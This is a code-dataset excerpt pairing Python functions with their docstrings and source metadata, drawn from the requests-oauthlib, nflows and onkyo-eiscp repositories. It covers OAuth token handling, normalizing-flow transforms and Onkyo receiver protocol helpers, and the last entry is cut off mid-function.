code stringlengths 66 870k | docstring stringlengths 19 26.7k | func_name stringlengths 1 138 | language stringclasses 1
value | repo stringlengths 7 68 | path stringlengths 5 324 | url stringlengths 46 389 | license stringclasses 7
values |
|---|---|---|---|---|---|---|---|
def new_state(self):
"""Generates a state string to be used in authorizations."""
try:
self._state = self.state()
log.debug("Generated new state %s.", self._state)
except TypeError:
self._state = self.state
log.debug("Re-using previously supplied s... | Generates a state string to be used in authorizations. | new_state | python | requests/requests-oauthlib | requests_oauthlib/oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py | ISC |
def authorization_url(self, url, state=None, **kwargs):
"""Form an authorization URL.
:param url: Authorization endpoint url, must be HTTPS.
:param state: An optional state string for CSRF protection. If not
given it will be generated for you.
:param kwargs: Extra ... | Form an authorization URL.
:param url: Authorization endpoint url, must be HTTPS.
:param state: An optional state string for CSRF protection. If not
given it will be generated for you.
:param kwargs: Extra parameters to include.
:return: authorization_url, state
... | authorization_url | python | requests/requests-oauthlib | requests_oauthlib/oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py | ISC |
def token_from_fragment(self, authorization_response):
"""Parse token from the URI fragment, used by MobileApplicationClients.
:param authorization_response: The full URL of the redirect back to you
:return: A token dict
"""
self._client.parse_request_uri_response(
a... | Parse token from the URI fragment, used by MobileApplicationClients.
:param authorization_response: The full URL of the redirect back to you
:return: A token dict
| token_from_fragment | python | requests/requests-oauthlib | requests_oauthlib/oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py | ISC |
def refresh_token(
self,
token_url,
refresh_token=None,
body="",
auth=None,
timeout=None,
headers=None,
verify=None,
proxies=None,
**kwargs
):
"""Fetch a new access token using a refresh token.
:param token_url: The tok... | Fetch a new access token using a refresh token.
:param token_url: The token endpoint, must be HTTPS.
:param refresh_token: The refresh_token to use.
:param body: Optional application/x-www-form-urlencoded body to add the
include in the token request. Prefer kwargs over body... | refresh_token | python | requests/requests-oauthlib | requests_oauthlib/oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py | ISC |
def request(
self,
method,
url,
data=None,
headers=None,
withhold_token=False,
client_id=None,
client_secret=None,
files=None,
**kwargs
):
"""Intercept all requests and add the OAuth 2 token if present."""
if not is_secu... | Intercept all requests and add the OAuth 2 token if present. | request | python | requests/requests-oauthlib | requests_oauthlib/oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py | ISC |
def register_compliance_hook(self, hook_type, hook):
"""Register a hook for request/response tweaking.
Available hooks are:
access_token_response invoked before token parsing.
refresh_token_response invoked before refresh token parsing.
protected_request invoked befo... | Register a hook for request/response tweaking.
Available hooks are:
access_token_response invoked before token parsing.
refresh_token_response invoked before refresh token parsing.
protected_request invoked before making a request.
access_token_request invoked be... | register_compliance_hook | python | requests/requests-oauthlib | requests_oauthlib/oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/requests_oauthlib/oauth2_session.py | ISC |
def test_protected_request_dont_override(self):
"""check that if the access_token param
already exist we don't override it"""
self.session.token = {"access_token": "dummy-access-token"}
response = self.session.get(
"https://api.instagram.com/v1/users/self?access_token=correct... | check that if the access_token param
already exist we don't override it | test_protected_request_dont_override | python | requests/requests-oauthlib | tests/test_compliance_fixes.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_compliance_fixes.py | ISC |
def testFormEncoded(self, generate_nonce, generate_timestamp):
"""OAuth1 assumes form encoded if content type is not specified."""
generate_nonce.return_value = "abc"
generate_timestamp.return_value = "1"
oauth = requests_oauthlib.OAuth1("client_key")
headers = {"Content-type": "... | OAuth1 assumes form encoded if content type is not specified. | testFormEncoded | python | requests/requests-oauthlib | tests/test_core.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py | ISC |
def testNonFormEncoded(self, generate_nonce, generate_timestamp):
"""OAuth signature only depend on body if it is form encoded."""
generate_nonce.return_value = "abc"
generate_timestamp.return_value = "1"
oauth = requests_oauthlib.OAuth1("client_key")
r = requests.Request(
... | OAuth signature only depend on body if it is form encoded. | testNonFormEncoded | python | requests/requests-oauthlib | tests/test_core.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py | ISC |
def testCanPostBinaryData(self, generate_nonce, generate_timestamp):
"""
Test we can post binary data. Should prevent regression of the
UnicodeDecodeError issue.
"""
generate_nonce.return_value = "abc"
generate_timestamp.return_value = "1"
oauth = requests_oauthli... |
Test we can post binary data. Should prevent regression of the
UnicodeDecodeError issue.
| testCanPostBinaryData | python | requests/requests-oauthlib | tests/test_core.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py | ISC |
def test_url_is_native_str(self, generate_nonce, generate_timestamp):
"""
Test that the URL is always a native string.
"""
generate_nonce.return_value = "abc"
generate_timestamp.return_value = "1"
oauth = requests_oauthlib.OAuth1("client_key")
r = requests.get("h... |
Test that the URL is always a native string.
| test_url_is_native_str | python | requests/requests-oauthlib | tests/test_core.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py | ISC |
def test_content_type_override(self, generate_nonce, generate_timestamp):
"""
Content type should only be guessed if none is given.
"""
generate_nonce.return_value = "abc"
generate_timestamp.return_value = "1"
oauth = requests_oauthlib.OAuth1("client_key")
data = ... |
Content type should only be guessed if none is given.
| test_content_type_override | python | requests/requests-oauthlib | tests/test_core.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_core.py | ISC |
def _test_fetch_access_token_raises_error(self, auth):
"""Assert that an error is being raised whenever there's no verifier
passed in to the client.
"""
auth.send = self.fake_body("oauth_token=foo")
with self.assertRaises(ValueError) as cm:
auth.fetch_access_token("ht... | Assert that an error is being raised whenever there's no verifier
passed in to the client.
| _test_fetch_access_token_raises_error | python | requests/requests-oauthlib | tests/test_oauth1_session.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_oauth1_session.py | ISC |
def test_cleans_previous_token_before_fetching_new_one(self):
"""Makes sure the previous token is cleaned before fetching a new one.
The reason behind it is that, if the previous token is expired, this
method shouldn't fail with a TokenExpiredError, since it's attempting
to get a new on... | Makes sure the previous token is cleaned before fetching a new one.
The reason behind it is that, if the previous token is expired, this
method shouldn't fail with a TokenExpiredError, since it's attempting
to get a new one (which shouldn't be expired).
| test_cleans_previous_token_before_fetching_new_one | python | requests/requests-oauthlib | tests/test_oauth2_session.py | https://github.com/requests/requests-oauthlib/blob/master/tests/test_oauth2_session.py | ISC |
def run_sample(self, filepath, variables):
"""
Execute python sample as a background process.
:param filepath: Name of the python sample present in docs examples folder.
:type filepath: string
:param variables: Key Names/Values to replace in the python script before being run
... |
Execute python sample as a background process.
:param filepath: Name of the python sample present in docs examples folder.
:type filepath: string
:param variables: Key Names/Values to replace in the python script before being run
:type variables: dict
| run_sample | python | requests/requests-oauthlib | tests/examples/base.py | https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py | ISC |
def wait_for_pattern(self, pattern):
"""
Wait until the background process is writing ``pattern`` in standard output.
:param pattern: search for this string before returning.
:type pattern: string
"""
try:
while True:
line = self.proc.stdout.r... |
Wait until the background process is writing ``pattern`` in standard output.
:param pattern: search for this string before returning.
:type pattern: string
| wait_for_pattern | python | requests/requests-oauthlib | tests/examples/base.py | https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py | ISC |
def wait_for_end(self):
"""
Wait until the background process ends. Timeout after 10sec.
"""
try:
outs, err = self.proc.communicate(timeout=10)
self.outputs += filter(lambda x: x != '', outs.split('\n'))
except subprocess.TimeoutExpired:
self.a... |
Wait until the background process ends. Timeout after 10sec.
| wait_for_end | python | requests/requests-oauthlib | tests/examples/base.py | https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py | ISC |
def authorize_auth0(self, authorize_url, expected_redirect_uri):
"""
Start browser based on an Auth0 authorize url, and log user with user and password.
Returns once login journey ends with a redirection to ``expected_redirect_uri``.
Note this is for Auth0 login dialog specifically.
... |
Start browser based on an Auth0 authorize url, and log user with user and password.
Returns once login journey ends with a redirection to ``expected_redirect_uri``.
Note this is for Auth0 login dialog specifically.
:param authorize_url: Full Authorize URL of Identity Provider
:... | authorize_auth0 | python | requests/requests-oauthlib | tests/examples/base.py | https://github.com/requests/requests-oauthlib/blob/master/tests/examples/base.py | ISC |
def log_prob(self, inputs, context=None):
"""Calculate log probability under the distribution.
Args:
inputs: Tensor, input variables.
context: Tensor or None, conditioning variables. If a Tensor, it must have the same
number or rows as the inputs. If None, the co... | Calculate log probability under the distribution.
Args:
inputs: Tensor, input variables.
context: Tensor or None, conditioning variables. If a Tensor, it must have the same
number or rows as the inputs. If None, the context is ignored.
Returns:
A Ten... | log_prob | python | bayesiains/nflows | nflows/distributions/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/distributions/base.py | MIT |
def sample(self, num_samples, context=None, batch_size=None):
"""Generates samples from the distribution. Samples can be generated in batches.
Args:
num_samples: int, number of samples to generate.
context: Tensor or None, conditioning variables. If None, the context is ignored.... | Generates samples from the distribution. Samples can be generated in batches.
Args:
num_samples: int, number of samples to generate.
context: Tensor or None, conditioning variables. If None, the context is ignored.
Should have shape [context_size, ...], where ... r... | sample | python | bayesiains/nflows | nflows/distributions/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/distributions/base.py | MIT |
def sample_and_log_prob(self, num_samples, context=None):
"""Generates samples from the distribution together with their log probability.
Args:
num_samples: int, number of samples to generate.
context: Tensor or None, conditioning variables. If None, the context is ignored.
... | Generates samples from the distribution together with their log probability.
Args:
num_samples: int, number of samples to generate.
context: Tensor or None, conditioning variables. If None, the context is ignored.
Should have shape [context_size, ...], where ... re... | sample_and_log_prob | python | bayesiains/nflows | nflows/distributions/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/distributions/base.py | MIT |
def __init__(self, shape, context_encoder=None):
"""Constructor.
Args:
shape: list, tuple or torch.Size, the shape of the input variables.
context_encoder: callable or None, encodes the context to the distribution parameters.
If None, defaults to the identity fun... | Constructor.
Args:
shape: list, tuple or torch.Size, the shape of the input variables.
context_encoder: callable or None, encodes the context to the distribution parameters.
If None, defaults to the identity function.
| __init__ | python | bayesiains/nflows | nflows/distributions/discrete.py | https://github.com/bayesiains/nflows/blob/master/nflows/distributions/discrete.py | MIT |
def _compute_params(self, context):
"""Compute the means and log stds form the context."""
if context is None:
raise ValueError("Context can't be None.")
params = self._context_encoder(context)
if params.shape[-1] % 2 != 0:
raise RuntimeError(
"Th... | Compute the means and log stds form the context. | _compute_params | python | bayesiains/nflows | nflows/distributions/normal.py | https://github.com/bayesiains/nflows/blob/master/nflows/distributions/normal.py | MIT |
def __init__(
self,
low: Union[torch.Tensor, float],
high: Union[torch.Tensor, float],
reinterpreted_batch_ndims: int = 1,
):
"""Multidimensionqal uniform distribution defined on a box.
A `Uniform` distribution initialized with e.g. a parameter vector low or ... | Multidimensionqal uniform distribution defined on a box.
A `Uniform` distribution initialized with e.g. a parameter vector low or high of length 3 will result in a /batch/ dimension of length 3. A log_prob evaluation will then output three numbers, one for each of the independent Uniforms in the batch.... | __init__ | python | bayesiains/nflows | nflows/distributions/uniform.py | https://github.com/bayesiains/nflows/blob/master/nflows/distributions/uniform.py | MIT |
def __init__(self, transform, distribution, embedding_net=None):
"""Constructor.
Args:
transform: A `Transform` object, it transforms data into noise.
distribution: A `Distribution` object, the base distribution of the flow that
generates the noise.
e... | Constructor.
Args:
transform: A `Transform` object, it transforms data into noise.
distribution: A `Distribution` object, the base distribution of the flow that
generates the noise.
embedding_net: A `nn.Module` which has trainable parameters to encode the
... | __init__ | python | bayesiains/nflows | nflows/flows/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/flows/base.py | MIT |
def sample_and_log_prob(self, num_samples, context=None):
"""Generates samples from the flow, together with their log probabilities.
For flows, this is more efficient that calling `sample` and `log_prob` separately.
"""
embedded_context = self._embedding_net(context)
if self._co... | Generates samples from the flow, together with their log probabilities.
For flows, this is more efficient that calling `sample` and `log_prob` separately.
| sample_and_log_prob | python | bayesiains/nflows | nflows/flows/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/flows/base.py | MIT |
def __init__(
self,
in_shape,
out_shape,
hidden_sizes,
activation=F.relu,
activate_output=False,
):
"""
Args:
in_shape: tuple, list or torch.Size, the shape of the input.
out_shape: tuple, list or torch.Size, the shape of the ou... |
Args:
in_shape: tuple, list or torch.Size, the shape of the input.
out_shape: tuple, list or torch.Size, the shape of the output.
hidden_sizes: iterable of ints, the hidden-layer sizes.
activation: callable, the activation function.
activate_output: b... | __init__ | python | bayesiains/nflows | nflows/nn/nets/mlp.py | https://github.com/bayesiains/nflows/blob/master/nflows/nn/nets/mlp.py | MIT |
def __init__(self, transforms):
"""Constructor.
Args:
transforms: an iterable of `Transform` objects.
"""
super().__init__()
self._transforms = nn.ModuleList(transforms) | Constructor.
Args:
transforms: an iterable of `Transform` objects.
| __init__ | python | bayesiains/nflows | nflows/transforms/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py | MIT |
def __init__(self, num_transforms, split_dim=1):
"""Constructor.
Args:
num_transforms: int, total number of transforms to be added.
split_dim: dimension along which to split.
"""
if not check.is_positive_int(split_dim):
raise TypeError("Split dimensio... | Constructor.
Args:
num_transforms: int, total number of transforms to be added.
split_dim: dimension along which to split.
| __init__ | python | bayesiains/nflows | nflows/transforms/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py | MIT |
def add_transform(self, transform, transform_output_shape):
"""Add a transform. Must be called exactly `num_transforms` times.
Parameters:
transform: the `Transform` object to be added.
transform_output_shape: tuple, shape of transform's outputs, excl. the first batch
... | Add a transform. Must be called exactly `num_transforms` times.
Parameters:
transform: the `Transform` object to be added.
transform_output_shape: tuple, shape of transform's outputs, excl. the first batch
dimension.
Returns:
Input shape for the next... | add_transform | python | bayesiains/nflows | nflows/transforms/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py | MIT |
def __init__(self, transform):
"""Constructor.
Args:
transform: An object of type `Transform`.
"""
super().__init__()
self._transform = transform | Constructor.
Args:
transform: An object of type `Transform`.
| __init__ | python | bayesiains/nflows | nflows/transforms/base.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/base.py | MIT |
def __init__(self, mask, transform_net_create_fn, unconditional_transform=None):
"""
Constructor.
Args:
mask: a 1-dim tensor, tuple or list. It indexes inputs as follows:
* If `mask[i] > 0`, `input[i]` will be transformed.
* If `mask[i] <= 0`, `input[... |
Constructor.
Args:
mask: a 1-dim tensor, tuple or list. It indexes inputs as follows:
* If `mask[i] > 0`, `input[i]` will be transformed.
* If `mask[i] <= 0`, `input[i]` will be passed unchanged.
| __init__ | python | bayesiains/nflows | nflows/transforms/coupling.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/coupling.py | MIT |
def __init__(self, features, orthogonal_initialization=True, using_cache=False):
"""Constructor.
Args:
features: int, number of input features.
orthogonal_initialization: bool, if True initialize weights to be a random
orthogonal matrix.
Raises:
... | Constructor.
Args:
features: int, number of input features.
orthogonal_initialization: bool, if True initialize weights to be a random
orthogonal matrix.
Raises:
TypeError: if `features` is not a positive integer.
| __init__ | python | bayesiains/nflows | nflows/transforms/linear.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/linear.py | MIT |
def weight(self):
"""Cost:
weight = O(D^3)
where:
D = num of features
"""
lower, upper = self._create_lower_upper()
return lower @ upper | Cost:
weight = O(D^3)
where:
D = num of features
| weight | python | bayesiains/nflows | nflows/transforms/lu.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/lu.py | MIT |
def weight_inverse(self):
"""Cost:
inverse = O(D^3)
where:
D = num of features
"""
lower, upper = self._create_lower_upper()
identity = torch.eye(
self.features, self.features, device=self.lower_entries.device)
lower_inverse = torch.lin... | Cost:
inverse = O(D^3)
where:
D = num of features
| weight_inverse | python | bayesiains/nflows | nflows/transforms/lu.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/lu.py | MIT |
def __init__(self, features):
"""
Transform that performs activation normalization. Works for 2D and 4D inputs. For 4D
inputs (images) normalization is performed per-channel, assuming BxCxHxW input shape.
Reference:
> D. Kingma et. al., Glow: Generative flow with invertible 1x1 ... |
Transform that performs activation normalization. Works for 2D and 4D inputs. For 4D
inputs (images) normalization is performed per-channel, assuming BxCxHxW input shape.
Reference:
> D. Kingma et. al., Glow: Generative flow with invertible 1x1 convolutions, NeurIPS 2018.
| __init__ | python | bayesiains/nflows | nflows/transforms/normalization.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/normalization.py | MIT |
def _initialize(self, inputs):
"""Data-dependent initialization, s.t. post-actnorm activations have zero mean and unit
variance. """
if inputs.dim() == 4:
num_channels = inputs.shape[1]
inputs = inputs.permute(0, 2, 3, 1).reshape(-1, num_channels)
with torch.no_g... | Data-dependent initialization, s.t. post-actnorm activations have zero mean and unit
variance. | _initialize | python | bayesiains/nflows | nflows/transforms/normalization.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/normalization.py | MIT |
def __init__(self, features, num_transforms):
"""Constructor.
Args:
features: int, dimensionality of the input.
num_transforms: int, number of Householder transforms to use.
Raises:
TypeError: if arguments are not the right type.
"""
if not c... | Constructor.
Args:
features: int, dimensionality of the input.
num_transforms: int, number of Householder transforms to use.
Raises:
TypeError: if arguments are not the right type.
| __init__ | python | bayesiains/nflows | nflows/transforms/orthogonal.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/orthogonal.py | MIT |
def _apply_transforms(inputs, q_vectors):
"""Apply the sequence of transforms parameterized by given q_vectors to inputs.
Costs O(KDN), where:
- K is number of transforms
- D is dimensionality of inputs
- N is number of inputs
Args:
inputs: Tensor of shape [... | Apply the sequence of transforms parameterized by given q_vectors to inputs.
Costs O(KDN), where:
- K is number of transforms
- D is dimensionality of inputs
- N is number of inputs
Args:
inputs: Tensor of shape [N, D]
q_vectors: Tensor of shape [K, D]
... | _apply_transforms | python | bayesiains/nflows | nflows/transforms/orthogonal.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/orthogonal.py | MIT |
def matrix(self):
"""Returns the orthogonal matrix that is equivalent to the total transform.
Costs O(KD^2), where:
- K is number of transforms
- D is dimensionality of inputs
Returns:
A Tensor of shape [D, D].
"""
identity = torch.eye(self.features,... | Returns the orthogonal matrix that is equivalent to the total transform.
Costs O(KD^2), where:
- K is number of transforms
- D is dimensionality of inputs
Returns:
A Tensor of shape [D, D].
| matrix | python | bayesiains/nflows | nflows/transforms/orthogonal.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/orthogonal.py | MIT |
def weight(self):
"""Cost:
weight = O(KD^2)
where:
K = num of householder transforms
D = num of features
"""
upper = self._create_upper()
weight, _ = self.orthogonal(upper.t())
return weight.t() | Cost:
weight = O(KD^2)
where:
K = num of householder transforms
D = num of features
| weight | python | bayesiains/nflows | nflows/transforms/qr.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/qr.py | MIT |
def weight_inverse(self):
"""Cost:
inverse = O(D^3 + KD^2)
where:
K = num of householder transforms
D = num of features
"""
upper = self._create_upper()
identity = torch.eye(self.features, self.features)
upper_inv = torch.linalg.solve_t... | Cost:
inverse = O(D^3 + KD^2)
where:
K = num of householder transforms
D = num of features
| weight_inverse | python | bayesiains/nflows | nflows/transforms/qr.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/qr.py | MIT |
def _batch_logabsdet(self, batch_shape: Iterable[int]) -> Tensor:
"""Return log abs det with input batch shape."""
if self._log_abs_scale.numel() > 1:
return self._log_abs_scale.expand(batch_shape).sum()
else:
# When log_abs_scale is a scalar, we use n*log_abs_scale, whi... | Return log abs det with input batch shape. | _batch_logabsdet | python | bayesiains/nflows | nflows/transforms/standard.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/standard.py | MIT |
def weight_inverse(self):
"""Cost:
inverse = O(KD^2)
where:
K = num of householder transforms
D = num of features
"""
diagonal_inv = torch.diag(torch.reciprocal(self.diagonal))
weight_inv, _ = self.orthogonal_1(diagonal_inv)
weight_inv,... | Cost:
inverse = O(KD^2)
where:
K = num of householder transforms
D = num of features
| weight_inverse | python | bayesiains/nflows | nflows/transforms/svd.py | https://github.com/bayesiains/nflows/blob/master/nflows/transforms/svd.py | MIT |
def sum_except_batch(x, num_batch_dims=1):
"""Sums all elements of `x` except for the first `num_batch_dims` dimensions."""
if not check.is_nonnegative_int(num_batch_dims):
raise TypeError("Number of batch dimensions must be a non-negative integer.")
reduce_dims = list(range(num_batch_dims, x.ndimen... | Sums all elements of `x` except for the first `num_batch_dims` dimensions. | sum_except_batch | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def split_leading_dim(x, shape):
"""Reshapes the leading dim of `x` to have the given shape."""
new_shape = torch.Size(shape) + x.shape[1:]
return torch.reshape(x, new_shape) | Reshapes the leading dim of `x` to have the given shape. | split_leading_dim | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def merge_leading_dims(x, num_dims):
"""Reshapes the tensor `x` such that the first `num_dims` dimensions are merged to one."""
if not check.is_positive_int(num_dims):
raise TypeError("Number of leading dims must be a positive integer.")
if num_dims > x.dim():
raise ValueError(
"... | Reshapes the tensor `x` such that the first `num_dims` dimensions are merged to one. | merge_leading_dims | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def repeat_rows(x, num_reps):
"""Each row of tensor `x` is repeated `num_reps` times along leading dimension."""
if not check.is_positive_int(num_reps):
raise TypeError("Number of repetitions must be a positive integer.")
shape = x.shape
x = x.unsqueeze(1)
x = x.expand(shape[0], num_reps, *s... | Each row of tensor `x` is repeated `num_reps` times along leading dimension. | repeat_rows | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def logabsdet(x):
"""Returns the log absolute determinant of square matrix x."""
# Note: torch.logdet() only works for positive determinant.
_, res = torch.slogdet(x)
return res | Returns the log absolute determinant of square matrix x. | logabsdet | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def random_orthogonal(size):
"""
Returns a random orthogonal matrix as a 2-dim tensor of shape [size, size].
"""
# Use the QR decomposition of a random Gaussian matrix.
x = torch.randn(size, size)
q, _ = torch.qr(x)
return q |
Returns a random orthogonal matrix as a 2-dim tensor of shape [size, size].
| random_orthogonal | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def get_num_parameters(model):
"""
Returns the number of trainable parameters in a model of type nets.Module
:param model: nets.Module containing trainable parameters
:return: number of trainable parameters in model
"""
num_parameters = 0
for parameter in model.parameters():
num_para... |
Returns the number of trainable parameters in a model of type nets.Module
:param model: nets.Module containing trainable parameters
:return: number of trainable parameters in model
| get_num_parameters | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def create_alternating_binary_mask(features, even=True):
"""
Creates a binary mask of a given dimension which alternates its masking.
:param features: Dimension of mask.
:param even: If True, even values are assigned 1s, odd 0s. If False, vice versa.
:return: Alternating binary mask of type torch.T... |
Creates a binary mask of a given dimension which alternates its masking.
:param features: Dimension of mask.
:param even: If True, even values are assigned 1s, odd 0s. If False, vice versa.
:return: Alternating binary mask of type torch.Tensor.
| create_alternating_binary_mask | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def create_mid_split_binary_mask(features):
"""
Creates a binary mask of a given dimension which splits its masking at the midpoint.
:param features: Dimension of mask.
:return: Binary mask split at midpoint of type torch.Tensor
"""
mask = torch.zeros(features).byte()
midpoint = features //... |
Creates a binary mask of a given dimension which splits its masking at the midpoint.
:param features: Dimension of mask.
:return: Binary mask split at midpoint of type torch.Tensor
| create_mid_split_binary_mask | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def create_random_binary_mask(features):
"""
Creates a random binary mask of a given dimension with half of its entries
randomly set to 1s.
:param features: Dimension of mask.
:return: Binary mask with half of its entries set to 1s, of type torch.Tensor.
"""
mask = torch.zeros(features).byt... |
Creates a random binary mask of a given dimension with half of its entries
randomly set to 1s.
:param features: Dimension of mask.
:return: Binary mask with half of its entries set to 1s, of type torch.Tensor.
| create_random_binary_mask | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def get_temperature(max_value, bound=1 - 1e-3):
"""
For a dataset with max value 'max_value', returns the temperature such that
sigmoid(temperature * max_value) = bound.
If temperature is greater than 1, returns 1.
:param max_value:
:param bound:
:return:
"""
max_value = torch... |
For a dataset with max value 'max_value', returns the temperature such that
sigmoid(temperature * max_value) = bound.
If temperature is greater than 1, returns 1.
:param max_value:
:param bound:
:return:
| get_temperature | python | bayesiains/nflows | nflows/utils/torchutils.py | https://github.com/bayesiains/nflows/blob/master/nflows/utils/torchutils.py | MIT |
def find_value_aliases(values):
"""A "command value" or "command argument" in the YAML is defined
as::
ISCP_VALUE:
name: some-user-facing-alias-value
description: 'foobar'
ISCP_VALUE can be something static such as "up" or "00", or it
can be a range, or pattern. Static... | A "command value" or "command argument" in the YAML is defined
as::
ISCP_VALUE:
name: some-user-facing-alias-value
description: 'foobar'
ISCP_VALUE can be something static such as "up" or "00", or it
can be a range, or pattern. Static values can also have aliases:
... | find_value_aliases | python | miracle2k/onkyo-eiscp | generate_commands_module.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/generate_commands_module.py | MIT |
def make_command(name):
"""Convert a string into a space-less command."""
name = re.sub('[^\w]', ' ', name) # Replace special characters with spaces
name = name.strip().lower()
while " " in name: name = name.replace(' ', ' ') # Replace duplicate spaces
name = name.replace(' ', '-') # In the e... | Convert a string into a space-less command. | make_command | python | miracle2k/onkyo-eiscp | import_protocol_doc.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/import_protocol_doc.py | MIT |
def represent_odict(dump, tag, mapping, flow_style=None):
"""Like BaseRepresenter.represent_mapping, but does not issue the sort().
"""
value = []
node = yaml.MappingNode(tag, value, flow_style=flow_style)
if dump.alias_key is not None:
dump.represented_objects[dump.alias_key] = node
bes... | Like BaseRepresenter.represent_mapping, but does not issue the sort().
| represent_odict | python | miracle2k/onkyo-eiscp | import_protocol_doc.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/import_protocol_doc.py | MIT |
def parse(cls, bytes):
"""Parse the eISCP package given by ``bytes``.
"""
h = cls.parse_header(bytes[:16])
data = bytes[h.header_size:h.header_size + h.data_size].decode()
assert len(data) == h.data_size
return data | Parse the eISCP package given by ``bytes``.
| parse | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def parse_header(self, bytes):
"""Parse the header of an eISCP package.
This is useful when reading data in a streaming fashion,
because you can subsequently know the number of bytes to
expect in the packet.
"""
# A header is always 16 bytes in length
assert len(... | Parse the header of an eISCP package.
This is useful when reading data in a streaming fashion,
because you can subsequently know the number of bytes to
expect in the packet.
| parse_header | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def normalize_command(command):
"""Ensures that various ways to refer to a command can be used."""
command = command.lower()
command = command.replace('_', ' ')
command = command.replace('-', ' ')
return command | Ensures that various ways to refer to a command can be used. | normalize_command | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def command_to_iscp(command, arguments=None, zone=None):
"""Transform the given given high-level command to a
low-level ISCP message.
Raises :class:`ValueError` if `command` is not valid.
This exposes a system of human-readable, "pretty"
commands, which is organized into three parts: the zone, the... | Transform the given given high-level command to a
low-level ISCP message.
Raises :class:`ValueError` if `command` is not valid.
This exposes a system of human-readable, "pretty"
commands, which is organized into three parts: the zone, the
command, and arguments. For example::
command('pow... | command_to_iscp | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def filter_for_message(getter_func, msg):
"""Helper that calls ``getter_func`` until a matching message
is found, or the timeout occurs. Matching means the same commands
group, i.e. for sent message MVLUP we would accept MVL13
in response."""
start = time.time()
while True:
candidate = g... | Helper that calls ``getter_func`` until a matching message
is found, or the timeout occurs. Matching means the same commands
group, i.e. for sent message MVLUP we would accept MVL13
in response. | filter_for_message | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def discover(cls, timeout=5, clazz=None):
"""Try to find ISCP devices on network.
Waits for ``timeout`` seconds, then returns all devices found,
in form of a list of dicts.
"""
onkyo_magic = eISCPPacket('!xECNQSTN').get_raw()
pioneer_magic = eISCPPacket('!pECNQSTN').get_... | Try to find ISCP devices on network.
Waits for ``timeout`` seconds, then returns all devices found,
in form of a list of dicts.
| discover | python | miracle2k/onkyo-eiscp | eiscp/core.py | https://github.com/miracle2k/onkyo-eiscp/blob/master/eiscp/core.py | MIT |
def get(self, timeout=0.1):
"""Return the next message sent by the receiver, or, after
``timeout`` has passed, return ``None``.
"""
self._ensure_socket_connected()
